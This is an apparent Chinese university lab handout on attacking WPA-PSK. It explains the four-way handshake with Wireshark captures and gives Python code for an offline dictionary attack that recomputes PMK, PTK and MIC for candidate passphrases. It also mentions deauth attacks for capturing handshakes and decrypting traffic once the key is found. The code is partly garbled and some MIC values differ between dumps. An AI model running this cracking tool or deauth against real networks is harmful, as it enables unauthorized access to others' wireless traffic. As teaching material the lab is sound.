

## 实验 2 WPA-PSK 口令攻击实验

### 2.1 【实验目的】


- 1) 掌握 WLAN 的工作原理
- 2) 理解 RSN 的密钥层次
- 3) 理解 4 次握手原理

### 2.2 【实验内容】

- 1) 配置无线网络攻击环境
- 2) 抓取无线网络握手包
- 3) 编写程序破解 WPA-PSK 的口令

### 2.3 【实验原理】

在 4-way 握手之前, STA 应该收到 AP 广播的 beacon 帧。AP 通过广播 beacon 帧来表示其无线网络的存在。如下图所示:




```
▶ Frame 1: 96 bytes on wire (768 bits), 96 bytes captured (768 bits)
▼ IEEE 802.11 Beacon frame, Flags: .....
  Type/Subtype: Beacon frame (0x0008)
  ▶ Frame Control Field: 0x8000
    .000 0000 0000 0000 = Duration: 0 microseconds
  Receiver address: Broadcast (ff:ff:ff:ff:ff:ff)
  Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
  Transmitter address: Netgear_7e:40:80 (00:14:6c:7e:40:80)
  Source address: Netgear_7e:40:80 (00:14:6c:7e:40:80)
  BSS Id: Netgear_7e:40:80 (00:14:6c:7e:40:80)
  .... 0000 = Fragment number: 0
  0000 0111 0001 .... = Sequence number: 113
▼ IEEE 802.11 wireless LAN management frame
  ▼ Fixed parameters (12 bytes)
    Timestamp: 0x0000000000ea6181
    Beacon Interval: 0.256000 [Seconds]
    ▶ Capabilities Information: 0x0431
  ▼ Tagged parameters (60 bytes)
```

通过 beacon 帧, 我们能够找到 SSID, 如下图:

```
0000 0111 0001 .... = Sequence number: 113
IEEE 802.11 wireless LAN management frame
  Fixed parameters (12 bytes)
    Timestamp: 0x0000000000ea6181
    Beacon Interval: 0.256000 [Seconds]
    Capabilities Information: 0x0431
  Tagged parameters (60 bytes)
    Tag: SSID parameter set: Harkonen
      Tag Number: SSID parameter set (0)
      Tag length: 8
      SSID: Harkonen
    Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6, 12, 24, 36, [Mbit/sec]
      Tag Number: Supported Rates (1)
      Tag length: 8
      Supported Rates: 1(B) (0x82)
      Supported Rates: 2(B) (0x84)
```

接下来是 4-way 握手过程，大致流程为：



MSG-1

4-way 握手的第一条消息如下所示：

```

> Frame 2: 131 bytes on wire (1048 bits), 131 bytes captured (1048 bits)
> IEEE 802.11 Data, Flags: .....F.
> Logical-Link Control
▼ 802.1X Authentication
  Version: 802.1X-2001 (1)
  Type: Key (3)
  Length: 95
  Key Descriptor Type: EAPOL RSN Key (2)
  ▶ Key Information: 0x008a
  Key Length: 16
  Replay Counter: 1
  WPA Key Nonce: 225854b0444de3af06d1492b852984f04cf6274c0e3218b8...
  Key IV: 00000000000000000000000000000000
  WPA Key RSC: 0000000000000000
  WPA Key ID: 0000000000000000
  WPA Key MIC: 00000000000000000000000000000000
  WPA Key Data Length: 0

```

其中传递的关键信息就是 AP 生成 Nonce，称为 ANonce，长度为 256 比特。ANonce 作为产生 PTK 的输入之一。

## MSG-2

STA 接收到第一个握手包后，就获得了 ANonce。STA 也生成一个 Nonce，称为 SNonce。通过设置无线网络时的配置，STA 和 AP 已经知道共同的 PMK，因此具备了生成 PTK 的所需输入。则 STA 生成 PTK。生成 PTK 后，STA 发送第二个握手包给 AP，其中包含两个重要的信息。其一是 STA 生成的 256 比特 SNonce；其二是 128 比特 MIC。AP 需要 SNonce 来生成 PTK。ANonce 和 SNonce 用于防止重放攻击。SNonce 如下图：

```

> Frame 3: 153 bytes on wire (1224 bits), 153 bytes captured (1224 bits)
> IEEE 802.11 Data, Flags: .....T
> Logical-Link Control
▼ 802.1X Authentication
  Version: 802.1X-2001 (1)
  Type: Key (3)
  Length: 117
  Key Descriptor Type: EAPOL RSN Key (2)
  ▶ Key Information: 0x010a
  Key Length: 16
  Replay Counter: 1
  WPA Key Nonce: 59168bc3a5df18d71efb6423f340088dab9e1ba2bbc58659...
  Key IV: 00000000000000000000000000000000
  WPA Key RSC: 0000000000000000
  WPA Key ID: 0000000000000000
  WPA Key MIC: d5355382b8a9b806dc99cdaf99cdaf564eb6
  WPA Key Data Length: 22
  ▶ WPA Key Data: 30140100000fac040100000fac040100000fac020100

```

MIC 用于验证 STA 知道 PTK，进而需要知道 PMK，从而验证了 STA 是合法的。MIC 字段如下图所示。

```

▶ Frame 3: 153 bytes on wire (1224 bits), 153 bytes captured (1224 bits)
▶ IEEE 802.11 Data, Flags: .....T
▶ Logical-Link Control
▼ 802.1X Authentication
    Version: 802.1X-2001 (1)
    Type: Key (3)
    Length: 117
    Key Descriptor Type: EAPOL RSN Key (2)
    ▶ Key Information: 0x010a
    Key Length: 16
    Replay Counter: 1
    WPA Key Nonce: 59168bc3a5df18d71efb6423f340088dab9e1ba2bbc58659...
    Key IV: 00000000000000000000000000000000
    WPA Key RSC: 0000000000000000
    WPA Key ID: 0000000000000000
    WPA Key MIC: d5355382b8a9b806dc99cdaf564eb6
    WPA Key Data Length: 22
    ▶ WPA Key Data: 30140100000fac040100000fac040100000fac020100
  
```

MIC 的计算方法为：

输入：802.1x 的所有字段，包括 MIC 字段，只是在计算的时候该字段设置为全 0。

对 WPA 来说，计算函数是 HMAC-MD5

对 WPA2 来说，计算函数是 HMAC-SHA1

下图显示了 802.1x 的所有字段值。


```

▼ 802.1X Authentication
    Version: 802.1X-2001 (1)
    Type: Key (3)
    Length: 117
    Key Descriptor Type: EAPOL RSN Key (2)
    ▶ Key Information: 0x010a
    Key Length: 16
    Replay Counter: 1
    WPA Key Nonce: 59168bc3a5df18d71efb6423f340088dab9e1ba2bbc58659...
    0000 08 01 2c 00 00 14 6c 7e 40 80 00 13 46 fe 32 0c  .....,l~ @...F.2.
    0010 00 14 6c 7e 40 80 30 00 aa aa 03 00 00 00 88 8e  ..l~@.0. ....
    0020 01 03 00 75 02 01 0a 00 10 00 00 00 00 00 00 00  ...u....
    0030 01 59 16 8b c3 a5 df 18 d7 1e fb 64 23 f3 40 08  .Y.....d#.@.
    0040 8d ab 9e 1b a2 bb c5 86 59 e0 7b 37 64 b0 de 85  .....Y.{7d...
    0050 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  p.....
    0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .....
    0070 00 d5 35 53 82 b8 a9 b8 06 dc af 99 cd af 56 4e  ..5S....VN
    0080 b6 00 16 30 14 01 00 00 0f ac 04 01 00 00 0f ac  ...0.....
    0090 04 01 00 00 0f ac 02 01 00 .....
  
```

要通过验证，也就是 STA 和 AP 计算出来的 MIC 相同，STA 必须有正确的 PTK，进而正确的 PMK，因为计算的 PTK 的输入之一为 PMK。如果通过验证，则证明 STA 具有合法的 PMK，但是 PMK 没有在网上上传输，确保了 PTK 的保密性。第三方即使观察到了这些流量，也无法推断出 PTK 或者 PMK。上述过程完成了 AP 对 STA 的认证。

### MSG-3

在第三个握手包中，传输的重要信息包括 MIC 字段和 WPA key data 字段。通过 MIC 字段，AP 可以向 STA 认证自己。如果通过验证，这表明 AP 知道 PTK，进而知道 PMK。这里计算 MIC 的方法和前面相同。如下图所示：



```
▶ Frame 4: 187 bytes on wire (1496 bits), 187 bytes captured (1496 bits) on interface 0
▶ IEEE 802.11 Data, Flags: .....F.
▶ Logical-Link Control
▼ 802.1X Authentication
  Version: 802.1X-2001 (1)
  Type: Key (3)
  Length: 151
  Key Descriptor Type: EAPOL RSN Key (2)
  ▶ Key Information: 0x13ca
    Key Length: 16
    Replay Counter: 2
    WPA Key Nonce: 225854b0444de3af06d1492b852984f04cf6274c0e3218b8...
    Key IV: 192eeef7fd968ec80aee3dfb875e8222
    WPA Key RSC: 3700000000000000
    WPA Key ID: 0000000000000000
    WPA Key MIC: 1e228672d2dee930714f688c5746028d
    WPA Key Data Length: 56
    WPA Key Data: 3ca9185462eca4ab7ff51cd3a3e6179a8391f5ad824c9e09...
```

第三个握手包中也包含了 GTK，用于加解密 AP 和所有 STA 之间的广播数据，GTK 以密文形式包含在 WPA key data 字段。

### MSG-4:

STA 发送第四个握手包，用于向 AP 确认它收到了正确的密钥，加密通信即将开始。第四个握手包也包含 MIC 字段，计算方法同前。

通过上面的原理，我们就可以通过穷举法来找到正确的 PSK。实际攻击中，我们会从字典中选择 PASSPHRASE，然后计算 PMK，然后 PTK，然后 MIC，直至找到的 PASSPHRASE 所计算出的 MIC 和握手包里面的 MIC 匹配，从而找到了正确的 PASSPHRASE。这种攻击称为离线字典攻击，其成功的关键在于用户使用了弱口令。

## 2.4 【实验步骤】

### 步骤一、环境搭建

配置无线网络抓包环境。

### 步骤二、抓取无线网络握手包

测试简单无线网络攻击如 deauth 等，抓取 WPA-PSK 握手包

### 步骤三、编写程序破解 WPA-PSK 的口令

```
#Used for computing HMAC
import hmac

#Used to convert from hex to binary
from binascii import a2b_hex, b2a_hex

#Used for computing PMK
from hashlib import pbkdf2_hmac, sha1, md5

#Pseudo-random function for generation of
#the pairwise transient key (PTK)
#key:      The PMK
#A:        b'Pairwise key expansion'
#B:        The apMac, cliMac, aNonce, and sNonce concatenated
#          like mac1 mac2 nonce1 nonce2
#          such that mac1 < mac2 and nonce1 < nonce2
#return:    The ptk

def PRF(key, A, B):
    #Number of bytes in the PTK
    nByte = 64
    i = 0
    R = b''

    #Each iteration produces 160-bit value and 512 bits are required
    while(i <= ((nByte * 8 + 159) / 160)):
```

```

        hmacsha1 = hmac.new(key, A + chr(0x00).encode() + B + chr(i).encode(),
sha1)

        R = R + hmacsha1.digest()

        i += 1

    return R[0:nByte]

#Make parameters for the generation of the PTK

#aNonce:          The aNonce from the 4-way handshake
#sNonce:          The sNonce from the 4-way handshake
#apMac:           The MAC address of the access point
#cliMac:          The MAC address of the client
#return:          (A, B) where A and B are parameters
#                for the generation of the PTK

def MakeAB(aNonce, sNonce, apMac, cliMac):

    A = b"Pairwise key expansion"

    B = min(apMac, cliMac) + max(apMac, cliMac) + min(aNonce, sNonce) +
max(aNonce, sNonce)

    return (A, B)

#Compute the 1st message integrity check for a WPA 4-way handshake

#pwd:            The password to test
#ssid:           The ssid of the AP
#A:              b'Pairwise key expansion'
#B:              The apMac, cliMac, aNonce, and sNonce concatenated
#               like mac1 mac2 nonce1 nonce2
#               such that mac1 < mac2 and nonce1 < nonce2
#data:           A list of 802.1x frames with the MIC field zeroed
#return:         (x, y, z) where x is the mic, y is the PTK, and z is the PMK

def MakeMIC(pwd, ssid, A, B, data, wpa = False):

```

```

#Create the pairwise master key

pmk = pbkdf2_hmac('sha1', pwd.encode('ascii'), ssid.encode('ascii'), 4096, 32)

#Make the pairwise transient key (PTK)

ptk = PRF(pmk, A, B)

#WPA uses md5 to compute the MIC while WPA2 uses sha1

hmacFunc = md5 if wpa else sha1

#Create the MICs using HMAC-SHA1 of data and return all computed values

mics = [hmac.new(ptk[0:16], i, hmacFunc).digest() for i in data]

return (mics, ptk, pmk)


#Run a brief test showing the computation of the PTK, PMK, and MICS

#for a 4-way handshake

def RunTest():

    #the pre-shared key (PSK)

    psk = "abcdefgh"

    #ssid name

    ssid = "Harkonen"

    #ANonce

    aNonce =
a2b_hex('225854b0444de3af06d1492b852984f04cf6274c0e3218b8681756864db7a055')

    #SNonce

    sNonce =
a2b_hex("59168bc3a5df18d71efb6423f340088dab9e1ba2bbc58659e07b3764b0de8570")

    #Authenticator MAC (AP)

    apMac = a2b_hex("00146c7e4080")

    #Station address: MAC of client

    cliMac = a2b_hex("001346fe320c")

    #The first MIC

    mic1 = "d5355382b8a9b806dcdf99cdaf564eb6"

```





```
#Display the pairwise master key (PMK)
pmkStr = b2a_hex(pmk).decode().upper()
print("pmk:\t\t" + pmkStr + '\n')

#Display the pairwise transient key (PTK)
ptkStr = b2a_hex(ptk).decode().upper()
print("ptk:\t\t" + ptkStr + '\n')

#Display the desired MIC1 and compare to target MIC1
mic1Str = mic1.upper()
print("desired mic:\t" + mic1Str)

#Take the first 128-bits of the 160-bit SHA1 hash
micStr = b2a_hex(mics[0]).decode().upper()[:-8]
print("actual mic:\t" + micStr)
print('MATCH\n' if micStr == mic1Str else 'MISMATCH\n')

#Display the desired MIC2 and compare to target MIC2
mic2Str = mic2.upper()
print("desired mic:\t" + mic2Str)

#Take the first 128-bits of the 160-bit SHA1 hash
micStr = b2a_hex(mics[1]).decode().upper()[:-8]
print("actual mic:\t" + micStr)
print('MATCH\n' if micStr == mic2Str else 'MISMATCH\n')

#Display the desired MIC3 and compare to target MIC3
mic3Str = mic3.upper()
print("desired mic:\t" + mic3Str)

#Take the first 128-bits of the 160-bit SHA1 hash
micStr = b2a_hex(mics[2]).decode().upper()[:-8]
print("actual mic:\t" + micStr)
print('MATCH\n' if micStr == mic3Str else 'MISMATCH\n')

return
```

```

#Tests a list of passwords; if the correct one is found it
#prints it to the screen and returns it

#S:          A list of passwords to test
#ssid:       The ssid of the AP
#aNonce:     The ANonce as a byte array
#sNonce:     The SNonce as a byte array
#apMac:      The AP's MAC address
#cliMac:     The MAC address of the client (aka station)
#data:       The 802.1x frame of the second message with the MIC field zeroed
#data2:      The 802.1x frame of the third message with the MIC field zeroed
#data3:      The 802.1x frame of the forth message with the MIC field zeroed
#targMic:    The MIC for message 2
#targMic2:   The MIC for message 3
#targMic3:   The MIC for message 4

def TestPwds(S, ssid, aNonce, sNonce, apMac, cliMac, data, data2, data3, targMic,
targMic2, targMic3):
    #Pre-computed values
    A, B = MakeAB(aNonce, sNonce, apMac, cliMac)
    #Loop over each password and test each one
    for i in S:
        mic, _, _ = MakeMIC(i, ssid, A, B, [data])
        v = b2a_hex(mic[0]).decode()[:-8]
        #First MIC doesn't match
        if(v != targMic):
            continue
        #First MIC matched... Try second
        mic2, _, _ = MakeMIC(i, ssid, A, B, [data2])
        v2 = b2a_hex(mic2[0]).decode()[:-8]
        if(v2 != targMic2):

```

```
        continue

    #First 2 match... Try last
    mic3, _, _ = MakeMIC(i, ssid, A, B, [data3])
    v3 = b2a_hex(mic3[0]).decode()[:-8]
    if(v3 != targMic3):
        continue

    #All of them match
    print('!!!Password Found!!!')
    print('Desired MIC1:\t\t' + targMic)
    print('Computed MIC1:\t\t' + v)
    print('\nDesired MIC2:\t\t' + targMic2)
    print('Computed MIC2:\t\t' + v2)
    print('\nDesired MIC2:\t\t' + targMic3)
    print('Computed MIC2:\t\t' + v3)
    print('Password:\t\t' + i)
    return i

return None

if __name__ == "__main__":


    RunTest()

    #Read a file of passwords containing
    #passwords separated by a newline
    with open('passwd.txt') as f:
        S = []
        for l in f:
            S.append(l.strip())


    #ssid name
    ssid = "Harkonen"
```

[illegible]


在 wireshark 中通过 Edit 菜单，打开 Preferences，如下：



51



打开 Edit 对话框:




点击+按钮，可以添加表项。针对目前这个 wifi 流量，我们添加一个表项，选择 key type 为 wpa-pwd，然后配置 key 为

MyPassword:MySSID

前面部分是口令，中间是冒号，之后是 SSID。

OK 之后，回到主界面：



No.	Time	Source	Destination	Protocol	Length	Info
7	0.925770	Cisco-Li_f5:c2:c6	Broadcast	802.11	131	Beacon frame, SN=1415, FN=0, Flags=...
8	1.014623	192.168.1.12	212.54.40.25	DNS	137	Standard query 0x7bda A www.wi-fi-plane
9	1.014987	192.168.1.12	212.54.40.25	DNS	137	Standard query 0x7bda A www.wi-fi-plane
10	1.015487	192.168.1.12	212.54.40.25	DNS	137	Standard query 0x7bda A www.wi-fi-plane
11	1.025502	212.54.40.25	192.168.1.12	DNS	214	Standard query response 0x7bda A www.wi-fi-plane
12	1.026923	192.168.1.12	63.236.18.119	TCP	120	2714 → 80 [SYN] Seq=0 Win=16384 Len=0
13	1.028135	Cisco-Li_f5:c2:c6	Broadcast	802.11	131	Beacon frame, SN=1417, FN=0, Flags=...
14	1.125734	63.236.18.119	192.168.1.12	TCP	120	80 → 2714 [SYN, ACK] Seq=0 Ack=1 Win=5
15	1.126130	192.168.1.12	63.236.18.119	TCP	112	2714 → 80 [ACK] Seq=1 Ack=1 Win=17520
16	1.126736	192.168.1.12	63.236.18.119	HTTP	514	GET /tutorials/article.php/1447501 HTTP/1.1
17	1.130529	Cisco-Li_f5:c2:c6	Broadcast	802.11	131	Beacon frame, SN=1419, FN=0, Flags=...

Frame 9: 137 bytes on wire (1096 bits), 137 bytes captured (1096 bits) on interface 0

Radiotap Header v0, Length 20

802.11 radio information

IEEE 802.11 Data, Flags: .p..R..TC

Logical-Link Control

Internet Protocol Version 4, Src: 192.168.1.12, Dst: 212.54.40.25

User Datagram Protocol, Src Port: 64642, Dst Port: 53

Domain Name System (query)

从这里可以看到，上层协议可以解析了，比如 DNS 协议里面的域名，http 协议里面 GET 命令的内容等，表明已经解密数据帧。

通过这种方式，我们可以进一步验证所破解的口令是否正确。

## 2.5 【实验报告】

- 1) 说明实验过程。
- 2) 进行结果分析